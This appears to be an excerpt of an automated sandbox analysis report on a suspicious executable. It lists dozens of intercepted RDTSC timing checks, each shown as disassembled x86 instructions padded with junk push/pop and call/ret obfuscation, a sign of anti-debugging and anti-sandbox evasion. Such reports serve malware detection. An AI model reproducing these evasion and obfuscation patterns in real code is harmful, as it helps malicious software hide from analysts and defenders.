Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F8B32 second address: 5F8B50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA4597h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60000C second address: 600011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60102C second address: 601036 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6928EA4586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601036 second address: 6010AF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6928B6AE81h 0x00000008 jmp 00007F6928B6AE7Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F6928B6AE78h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a mov edi, 23160446h 0x0000002f mov edi, dword ptr [ebp+122D390Ah] 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ebx 0x0000003a call 00007F6928B6AE78h 0x0000003f pop ebx 0x00000040 mov dword ptr [esp+04h], ebx 0x00000044 add dword ptr [esp+04h], 00000014h 0x0000004c inc ebx 0x0000004d push ebx 0x0000004e ret 0x0000004f pop ebx 0x00000050 ret 0x00000051 jnc 00007F6928B6AE7Ch 0x00000057 push 00000000h 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d push ecx 0x0000005e pop ecx 0x0000005f pushad 0x00000060 popad 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6010AF second address: 6010B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6010B5 second address: 6010B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A3D8 second address: 60A3DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60CB07 second address: 60CB0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60CB0D second address: 60CB1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6928EA458Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60CB1D second address: 60CB21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60CB21 second address: 60CB40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6928EA4593h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60CB40 second address: 60CB46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60CB46 second address: 60CB6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6928EA4590h 0x00000009 popad 0x0000000a jmp 00007F6928EA458Dh 0x0000000f push eax 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613347 second address: 61334B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61334B second address: 61336A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA458Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push edi 0x00000011 pop edi 0x00000012 push esi 0x00000013 pop esi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6134E5 second address: 6134F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61359E second address: 6135A8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6928EA4586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6135A8 second address: 6135BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6135BF second address: 6135CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jc 00007F6928EA458Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6135CC second address: 6135DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 js 00007F6928B6AE8Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6135DF second address: 6135E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613714 second address: 613718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61755E second address: 617573 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA458Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617573 second address: 617577 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617577 second address: 61757B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6176F6 second address: 6176FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6176FC second address: 617700 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617867 second address: 61788E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 jns 00007F6928B6AE76h 0x0000000c pop esi 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push ecx 0x00000010 jo 00007F6928B6AE76h 0x00000016 pushad 0x00000017 popad 0x00000018 pop ecx 0x00000019 pushad 0x0000001a jmp 00007F6928B6AE7Bh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617CBD second address: 617CC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617CC3 second address: 617CC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617CC8 second address: 617CD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F6928EA4586h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617CD5 second address: 617CDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5778 second address: 5CA8F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007F6928EA4586h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F6928EA4588h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b mov edx, ebx 0x0000002d mov ecx, dword ptr [ebp+122D3BAEh] 0x00000033 call dword ptr [ebp+122D32CBh] 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F6928EA458Ah 0x00000040 jne 00007F6928EA459Bh 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5D50 second address: 5E5D54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5DFE second address: 5E5E18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA4596h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5E18 second address: 5E5E1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5E1E second address: 5E5E22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5EF4 second address: 5E5EF9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5FD5 second address: 5E5FD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E690E second address: 5E695B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F6928B6AE89h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F6928B6AE83h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E695B second address: 5E696F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E696F second address: 5E69C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c jne 00007F6928B6AE8Dh 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jo 00007F6928B6AE86h 0x0000001e jmp 00007F6928B6AE80h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6ACA second address: 5E6B44 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6928EA4599h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F6928EA4588h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D2C17h], edx 0x0000002b mov di, 2723h 0x0000002f lea eax, dword ptr [ebp+1248A3F4h] 0x00000035 push 00000000h 0x00000037 push ecx 0x00000038 call 00007F6928EA4588h 0x0000003d pop ecx 0x0000003e mov dword ptr [esp+04h], ecx 0x00000042 add dword ptr [esp+04h], 00000018h 0x0000004a inc ecx 0x0000004b push ecx 0x0000004c ret 0x0000004d pop ecx 0x0000004e ret 0x0000004f mov cx, 2899h 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6B44 second address: 5E6B4A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB3B1 second address: 5CB3B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB3B6 second address: 5CB3BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B86E second address: 61B88D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 jmp 00007F6928EA4593h 0x0000000d popad 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B88D second address: 61B892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BCB4 second address: 61BCBA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BCBA second address: 61BCBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BCBF second address: 61BCC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BF7E second address: 61BF82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BF82 second address: 61BF88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6239FA second address: 623A05 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jne 00007F6928B6AE76h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623A05 second address: 623A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623A0D second address: 623A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6928B6AE7Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62289F second address: 6228A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6228A3 second address: 6228A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6228A9 second address: 6228BA instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6928EA458Ch 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622A04 second address: 622A0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622D2A second address: 622D47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F6928EA4593h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622D47 second address: 622D4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623146 second address: 623166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F6928EA4592h 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F6928EA4586h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623166 second address: 62316A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62316A second address: 623170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6232B5 second address: 6232C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE7Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6232C8 second address: 6232CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6232CE second address: 6232D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6232D2 second address: 6232FA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jc 00007F6928EA4586h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F6928EA4591h 0x00000012 jmp 00007F6928EA458Bh 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push edx 0x0000001f pop edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6232FA second address: 623316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6928B6AE87h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626C8D second address: 626C91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9A57 second address: 5A9A5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9A5D second address: 5A9A78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA4592h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DFA2 second address: 59DFB4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007F6928B6AE76h 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F4B8 second address: 62F4BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F63A second address: 62F644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6928B6AE76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F644 second address: 62F678 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007F6928EA4586h 0x0000000d push eax 0x0000000e pop eax 0x0000000f push edi 0x00000010 pop edi 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push esi 0x00000019 pop esi 0x0000001a pop eax 0x0000001b pushad 0x0000001c jmp 00007F6928EA458Eh 0x00000021 jns 00007F6928EA4586h 0x00000027 push esi 0x00000028 pop esi 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F678 second address: 62F67D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FEAC second address: 62FEBB instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6928EA4586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FEBB second address: 62FEC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FEC0 second address: 62FF0E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6928EA4598h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6928EA4592h 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 jmp 00007F6928EA4592h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b jng 00007F6928EA4586h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FF0E second address: 62FF2D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6928B6AE8Ah 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63046D second address: 630475 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630475 second address: 630486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F6928B6AE7Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630486 second address: 63048E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63048E second address: 630492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630492 second address: 630496 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632CC5 second address: 632CD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632CD2 second address: 632CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6329D2 second address: 6329EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6928B6AE83h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6329EA second address: 6329F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F6928EA4586h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 635582 second address: 635591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F6928B6AE76h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6356DA second address: 6356DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6356DE second address: 6356F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007F6928B6AE7Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6356F6 second address: 63570D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6928EA4593h 0x00000009 rdtsc
